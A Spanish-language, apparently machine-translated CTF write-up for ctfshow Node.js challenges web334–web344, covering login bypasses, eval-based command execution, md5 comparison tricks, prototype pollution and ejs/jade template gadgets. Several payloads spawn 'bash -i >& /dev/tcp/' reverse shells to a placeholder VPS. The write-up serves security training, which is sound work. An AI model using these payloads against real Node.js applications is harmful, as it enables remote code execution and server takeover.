ctfshow NodeJs web334-web344 wp

que es nodejs

Node.js es un entorno de tiempo de ejecución de Javascript basado en el motor Chrome V8. Se puede decir que nodejs es un entorno de tiempo de ejecución o un intérprete de lenguaje JS en lugar de algún tipo de biblioteca.

Nodejs es un programa C++ desarrollado en base al motor V8 de Chrome para proporcionar un entorno de tiempo de ejecución JS. Al principio, Nodejs se instaló principalmente en el servidor para ayudar a todos a desarrollar código de servidor de alto rendimiento con JS, pero luego Nodejs también brilló en el front-end, lo que supuso una revolución en el desarrollo web front-end. Hay dos formas de ejecutar el código JS en Nodejs, una es ejecutarlo en el entorno interactivo de Node.js, la otra es escribir el código en un archivo y luego usar el comando node para ejecutar el código del archivo. Nodejs y los navegadores son entornos diferentes, así que preste atención a estas diferencias al escribir código JS.

web334

user.js encontró nombre de usuario: 'CTFSHOW', contraseña: '123456'

El código fuente está en login.js Si encuentra que el inicio de sesión es exitoso, obtendrá una bandera, es decir, concéntrese en la parte de inicio de sesión.

var findUser = function(name, password){
    
    
  return users.find(function(item){
    
    
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

El requisito es que el nombre no sea igual a CTFSHOW. La segunda línea de users.find es tomar la parte user.js, item.username=CTFSHOW, lo que significa que el nombre en mayúsculas de CTFSHOW también puede pasar el juicio, por lo que la cuenta La contraseña ya se puede obtener aquí.

username:ctfshow
password:123456

Inicie sesión para obtener la bandera

web335

Descubrimiento del código fuente/?eval=

Luego pase un ?eval=ls, el eco es que no se puede encontrar el archivo, por lo que puede ser para incluir un archivo o algo así

Pero después de la prueba, descubrí que ni siquiera se podía encontrar index.php, así que pasé otro eval=1 y repetí un 1 en index.php

inserte la descripción de la imagen aquí

Teniendo en cuenta que se trata de nodejs, es muy probable que eval sea la función eval ejecutada.在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

Consulte el child_process de la documentación de nodejs: http://nodejs.cn/api/child_process.html

Nota:child_process.exec(command[, options][, callback])

Así que construye una carga útil

require("child_process").execSync('ls')

Buscar bandera: fl00g.txt, solo gato

web336

Todavía es eval, pero la carga útil anterior mostrará tql, lo que indica que debe omitirse aquí.

Pruébelo, filtre la cadena exec

Aquí hay una forma de empalmar exec para omitir

require("child_process")['exe'%2B'cSync']('ls')

Echa un vistazo a wp, puedes ver el código fuente aquí

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。

Así que pase ?eval=__filename para ver que la ruta es /app/routes/index.js

Luego pase eval=require('fs').readFileSync('/app/routes/index.js','utf-8') para encontrar que exec y carga están filtrados

web337

código fuente

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
    
    
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    
    
  	res.end(flag);
  }else{
    
    
  	res.render('index',{
    
     msg: 'tql'});
  }
  
});

module.exports = router;

Para pasar a y b, a y b deben ser verdaderos, a y b tienen la misma longitud, a no es igual a b, a+flag y b+flag son iguales después de md5, luego salida flag

Parece que he visto esto antes, pero realmente lo olvidé. Parece que hay uno en la sección de temas originales de la competencia. Definitivamente hay uno en la sección de temas originales de la competencia CTFSHOW. Lo hice en ese momento, allí ¡debe ser!

Lo primero que me vino a la mente fue pasar una matriz para omitir, pero la prueba descubrió que no funcionaba, así que usé la consola para depurarlo.

inserte la descripción de la imagen aquí

La consola lo probó y encontró que los dos valores no son iguales

inserte la descripción de la imagen aquí

Se encuentra que los valores pasados ​​de esta forma son iguales, es decir, pasando a[:]=1&b[:]=2 se puede pasar por alto

web338

La misma interfaz de inicio de sesión que la primera pregunta, descargue el código fuente y descomprímalo

Primero pase un 123 123 aleatorio y repita el error de inicio de sesión {"username":"123","password":"123"}

Mire el código fuente y vea la sección de inicio de sesión en rutas/login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var flag='flag_here';
  var secert = {
    
    };
  var sess = req.session;
  let user = {
    
    };
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    
    
    res.end(flag);
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
});

module.exports = router;

que también requiere un utils/common

//common.js
module.exports = {
    
    
  copy:copy
};

function copy(object1, object2){
    
    
    for (let key in object2) {
    
    
        if (key in object2 && key in object1) {
    
    
            copy(object1[key], object2[key])
        } else {
    
    
            object1[key] = object2[key]
        }
    }
  }

La bandera se imprimirá cada vez que secert.ctfshow==='36dboy'. El sitio de prueba es la contaminación de la cadena prototipo Por primera vez, vea lo que escribió P Dios.
Comprensión profunda de los ataques de contaminación de prototipos de JavaScript

Por cierto, cuando lo miré, encontré que common.js y el JS en el ejemplo de P Dios se puede decir que son exactamente iguales.

Así que intente contaminar la clase Object y agregue el atributo {"ctfshow":"36dboy"}. Cámbialo al enviar el paquete.

inserte la descripción de la imagen aquí

Debido a la contaminación del prototipo, el secretobjeto hereda directamente Object.prototype, lo que conduce asecert.ctfshow==='36dboy'

inserte la descripción de la imagen aquí

web339

Agregado y modificado en login.js

//login.js
function User(){
    
    
  this.username='';
  this.password='';
}
function normalUser(){
    
    
  this.user
}
......
if(secert.ctfshow===flag){
    
    
    res.end(flag);
......

Además, se ha agregado un nuevo api.js

//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  res.render('api', {
    
     query: Function(query)(query)});
});

module.exports = router;

nuevo conocimiento otra vez

solución esperada

el defecto esta enres.render('api', { query: Function(query)(query)});

No se hace referencia a la variable de consulta en Function, y se puede realizar rce asignándole cualquier valor a través de la contaminación del prototipo.

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}

Después de la POST de la interfaz de índice, puede POST directamente para acceder a la interfaz api

El nuevo servidor que compró Madd olvidó abrir el grupo de seguridad. Jugué duro durante 20 minutos y Bengbu sobrevivió.

la bandera está en login.js

inserte la descripción de la imagen aquí

Esto significa éxito

inserte la descripción de la imagen aquí

solución inesperada

La vulnerabilidad de la plantilla ejs conduce a rce (Code-Breaking 2018 Thejs question (consulte el blog de P God, solo el enlace anterior))

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}

El método de uso de la carga útil es el mismo que el anterior. Primero, el índice envía el paquete y luego la API envía el paquete.

web340

Esta vez, hay muchas definiciones en el inicio de sesión.

//login.js
  var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
    utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
   res.end(flag);

Aquí se requieren dos niveles de contaminación, puede leer el blog del Maestro Yu https://blog.csdn.net/miuzzx/article/details/111780832#web339_48

hay un ejemplo

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

web341

Esta vez, se eliminó la API y también se cambió el inicio de sesión.

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var user = new function(){
    
    
    this.userinfo = new function(){
    
    
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    
    
    return res.json({
    
    ret_code: 0, ret_msg: '登录成功'});  
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

Aquí se utiliza el inesperado de 339, que es la solución esperada de este problema. Tenga en cuenta que es necesario anidar, porque es una revisión del 340.

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}

Luego, puede acceder a la interfaz de manera casual, por ejemplo, actualizar la página de inicio y, después de conectarse, ingresar directamente env para ver las variables de entorno para encontrar la bandera.

inserte la descripción de la imagen aquí

web342-343

Se dice que es jade rce (https://xz.aliyun.com/t/7025), porque no he ido a entender, así que jugaré según los maestros aquí.

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

Al enviar el paquete, el "Tipo de contenido" en el encabezado de la solicitud se cambia a "aplicación/json"

inserte la descripción de la imagen aquí

Buscando bandera sigue siendo env

web344

router.get('/', function(req, res, next) {
    
    
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
    
    
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
    
    
  	res.end(flag);
  }else{
    
    
  	res.end('where is flag. :)');
  }

});

La coma se filtra, e incluso %2c se filtra, y luego %2c también es una coma

De todos modos, para pasar?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

Aquí, puede codificar directamente los parámetros que se pasarán a la URL.

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

Supongo que te gusta

Origin blog.csdn.net/qq_42880719/article/details/122567506
Recomendado
Clasificación